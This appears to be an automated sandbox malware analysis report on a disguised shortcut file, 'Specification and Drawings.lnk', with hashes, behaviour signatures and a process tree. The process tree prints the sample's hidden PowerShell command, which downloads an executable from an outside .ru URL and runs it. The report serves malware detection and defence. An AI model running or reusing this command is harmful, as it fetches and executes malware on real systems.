Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
01/10/2024, 19:18
Static task
static1
Behavioral task
behavioral1
Sample
Specification and Drawings.lnk
Resource
win7-20240903-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
Specification and Drawings.lnk
Resource
win10v2004-20240802-en
18 signatures
150 seconds
General
-
Target
Specification and Drawings.lnk
-
Size
2KB
-
MD5
82937aae96fa6a40b59703eea97ce1ef
-
SHA1
d23b17711e2e65609c9973d6f03dde3d2acb3568
-
SHA256
d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356
-
SHA512
f3d66ad7d89da4bd494f173506ced0fe46404a786876e4664658e0db4b8075a18e0579f4bb5319aba9dee9338b1f64782a2b3f1f4d7640187b4dfbc0d3240bc8
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2596 powershell.exe 2596 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2596 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2596 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2408 wrote to memory of 2596 2408 cmd.exe 29 PID 2408 wrote to memory of 2596 2408 cmd.exe 29 PID 2408 wrote to memory of 2596 2408 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ Specification and Drawings.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:2408 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2596
-